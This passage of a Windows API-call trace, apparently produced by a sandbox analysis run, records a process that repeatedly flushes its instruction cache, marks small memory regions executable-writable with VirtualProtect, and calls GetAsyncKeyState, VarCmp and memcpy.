0xffffffff [0085.201] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0085.201] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.202] GetCurrentProcess () returned 0xffffffff [0085.202] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0085.202] GetCurrentProcess () returned 0xffffffff [0085.202] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0085.202] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.202] GetCurrentProcess () returned 0xffffffff [0085.202] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0085.202] GetCurrentProcess () returned 0xffffffff [0085.202] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0085.202] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.203] GetCurrentProcess () returned 0xffffffff [0085.203] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0085.203] GetCurrentProcess () returned 0xffffffff [0085.203] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0085.203] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.203] GetCurrentProcess () returned 0xffffffff [0085.203] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0085.203] GetCurrentProcess () returned 0xffffffff [0085.203] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0085.203] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.204] GetCurrentProcess () returned 0xffffffff [0085.204] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0085.204] GetCurrentProcess () returned 0xffffffff [0085.204] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0085.204] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.204] GetCurrentProcess () returned 0xffffffff [0085.204] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0085.204] GetCurrentProcess () returned 0xffffffff [0085.204] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0085.204] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.205] GetCurrentProcess () returned 0xffffffff [0085.205] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0085.205] GetCurrentProcess () returned 0xffffffff [0085.205] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0085.205] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.205] GetCurrentProcess () returned 0xffffffff [0085.205] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0085.205] GetCurrentProcess () returned 0xffffffff [0085.205] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0085.205] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.206] GetCurrentProcess () returned 0xffffffff [0085.206] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0085.206] GetCurrentProcess () returned 0xffffffff [0085.206] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0085.206] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.206] GetCurrentProcess () returned 0xffffffff [0085.206] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0085.206] GetCurrentProcess () returned 0xffffffff [0085.206] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0085.206] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.207] GetCurrentProcess () returned 0xffffffff [0085.207] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0085.207] GetCurrentProcess () returned 0xffffffff [0085.207] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0085.207] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.207] GetCurrentProcess () returned 0xffffffff [0085.207] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0085.207] GetCurrentProcess () returned 0xffffffff [0085.207] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0085.207] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.208] GetCurrentProcess () returned 0xffffffff [0085.208] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0085.208] GetCurrentProcess () returned 0xffffffff [0085.208] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0085.208] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.208] GetCurrentProcess () returned 0xffffffff [0085.208] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0085.208] GetCurrentProcess () returned 0xffffffff [0085.208] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0085.208] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.209] GetCurrentProcess () returned 0xffffffff [0085.209] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0085.209] GetCurrentProcess () returned 0xffffffff [0085.209] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0085.209] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.209] GetCurrentProcess () returned 0xffffffff [0085.209] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0085.209] GetCurrentProcess () returned 0xffffffff [0085.209] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0085.209] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.210] GetCurrentProcess () returned 0xffffffff [0085.210] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0085.210] GetCurrentProcess () returned 0xffffffff [0085.210] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0085.210] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.210] GetCurrentProcess () returned 0xffffffff [0085.210] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0085.210] GetCurrentProcess () returned 0xffffffff [0085.210] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0085.210] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.211] GetCurrentProcess () returned 0xffffffff [0085.211] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0085.211] GetCurrentProcess () returned 0xffffffff [0085.211] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0085.211] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.211] GetCurrentProcess () returned 0xffffffff [0085.211] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0085.413] GetAsyncKeyState (vKey=3) returned 0 [0085.413] GetAsyncKeyState (vKey=3) returned 0 [0085.413] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0085.413] CRetailMalloc_Alloc () returned 0xcaec200 [0085.413] memcpy (in: _Dst=0xfa54f38, _Src=0x1976bc, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.413] memcpy (in: _Dst=0xcaec220, _Src=0x197724, _Size=0x18 | out: _Dst=0xcaec220) returned 0xcaec220 [0085.413] CRetailMalloc_Realloc () returned 0xcaec200 [0085.413] CRetailMalloc_Free () returned 0x1 [0085.413] GetCurrentProcess () returned 0xffffffff [0085.413] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0085.413] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.414] GetCurrentProcess () returned 0xffffffff [0085.414] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0085.414] GetCurrentProcess () returned 0xffffffff [0085.414] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0085.414] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.415] GetCurrentProcess () returned 0xffffffff [0085.415] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0085.415] GetCurrentProcess () returned 0xffffffff [0085.415] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0085.415] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.416] GetCurrentProcess () returned 0xffffffff [0085.416] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0085.416] GetCurrentProcess () returned 0xffffffff [0085.416] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0085.416] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.417] GetCurrentProcess () returned 0xffffffff [0085.417] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0085.417] GetCurrentProcess () returned 0xffffffff [0085.417] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0085.417] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.417] GetCurrentProcess () returned 0xffffffff [0085.417] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0085.417] GetCurrentProcess () returned 0xffffffff [0085.417] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0085.417] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.418] GetCurrentProcess () returned 0xffffffff [0085.418] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0085.418] GetCurrentProcess () returned 0xffffffff [0085.418] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0085.418] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.419] GetCurrentProcess () returned 0xffffffff [0085.419] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0085.419] GetCurrentProcess () returned 0xffffffff [0085.419] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0085.419] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.420] GetCurrentProcess () returned 0xffffffff [0085.420] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0085.420] GetCurrentProcess () returned 0xffffffff [0085.420] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0085.420] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.421] GetCurrentProcess () returned 0xffffffff [0085.421] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0085.421] GetCurrentProcess () returned 0xffffffff [0085.421] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0085.421] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.421] GetCurrentProcess () returned 0xffffffff [0085.421] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0085.421] GetCurrentProcess () returned 0xffffffff [0085.422] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0085.422] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.422] GetCurrentProcess () returned 0xffffffff [0085.422] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0085.422] GetCurrentProcess () returned 0xffffffff [0085.422] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0085.422] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.423] GetCurrentProcess () returned 0xffffffff [0085.423] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0085.423] GetCurrentProcess () returned 0xffffffff [0085.423] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0085.423] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.424] GetCurrentProcess () returned 0xffffffff [0085.424] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0085.424] GetCurrentProcess () returned 0xffffffff [0085.424] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0085.424] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.425] GetCurrentProcess () returned 0xffffffff [0085.425] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0085.425] GetCurrentProcess () returned 0xffffffff [0085.425] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0085.425] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.426] GetCurrentProcess () returned 0xffffffff [0085.426] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0085.426] GetCurrentProcess () returned 0xffffffff [0085.426] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0085.426] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.427] GetCurrentProcess () returned 0xffffffff [0085.427] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0085.427] GetCurrentProcess () returned 0xffffffff [0085.427] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0085.427] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.428] GetCurrentProcess () returned 0xffffffff [0085.428] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0085.428] GetCurrentProcess () returned 0xffffffff [0085.428] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0085.428] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.428] GetCurrentProcess () returned 0xffffffff [0085.428] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0085.428] GetCurrentProcess () returned 0xffffffff [0085.428] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0085.429] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.429] GetCurrentProcess () returned 0xffffffff [0085.429] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0085.429] GetCurrentProcess () returned 0xffffffff [0085.429] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0085.429] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.430] GetCurrentProcess () returned 0xffffffff [0085.430] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0085.430] GetCurrentProcess () returned 0xffffffff [0085.430] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0085.430] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.431] GetCurrentProcess () returned 0xffffffff [0085.431] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0085.431] GetCurrentProcess () returned 0xffffffff [0085.431] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0085.431] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.432] GetCurrentProcess () returned 0xffffffff [0085.432] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0085.432] GetCurrentProcess () returned 0xffffffff [0085.432] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0085.432] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.432] GetCurrentProcess () returned 0xffffffff [0085.432] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0085.432] GetCurrentProcess () returned 0xffffffff [0085.432] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0085.433] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.433] GetCurrentProcess () returned 0xffffffff [0085.433] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0085.433] GetCurrentProcess () returned 0xffffffff [0085.433] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0085.433] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.434] GetCurrentProcess () returned 0xffffffff [0085.434] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0085.434] GetCurrentProcess () returned 0xffffffff [0085.434] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0085.434] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.435] GetCurrentProcess () returned 0xffffffff [0085.435] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0085.435] GetCurrentProcess () returned 0xffffffff [0085.435] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0085.435] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.436] GetCurrentProcess () returned 0xffffffff [0085.436] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0085.436] GetCurrentProcess () returned 0xffffffff [0085.436] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0085.436] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.436] GetCurrentProcess () returned 0xffffffff [0085.436] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0085.436] GetCurrentProcess () returned 0xffffffff [0085.436] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0085.437] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.437] GetCurrentProcess () returned 0xffffffff [0085.437] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0085.437] GetCurrentProcess () returned 0xffffffff [0085.437] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0085.437] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.438] GetCurrentProcess () returned 0xffffffff [0085.438] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0085.438] GetCurrentProcess () returned 0xffffffff [0085.438] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0085.438] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.439] GetCurrentProcess () returned 0xffffffff [0085.439] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0085.440] GetAsyncKeyState (vKey=3) returned 0 [0085.440] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0085.440] CRetailMalloc_Alloc () returned 0xcaec260 [0085.440] memcpy (in: _Dst=0xfa54f38, _Src=0x1976bc, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.441] memcpy (in: _Dst=0xcaec280, _Src=0x197724, _Size=0x18 | out: _Dst=0xcaec280) returned 0xcaec280 [0085.441] CRetailMalloc_Realloc () returned 0xcaec260 [0085.441] CRetailMalloc_Free () returned 0x1 [0085.441] GetCurrentProcess () returned 0xffffffff [0085.441] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0085.441] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.442] GetCurrentProcess () returned 0xffffffff [0085.442] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0085.442] GetCurrentProcess () returned 0xffffffff [0085.442] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0085.442] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.442] GetCurrentProcess () returned 0xffffffff [0085.443] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0085.443] GetCurrentProcess () returned 0xffffffff [0085.443] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0085.443] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.443] GetCurrentProcess () returned 0xffffffff [0085.443] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0085.443] GetCurrentProcess () returned 0xffffffff [0085.444] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0085.444] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 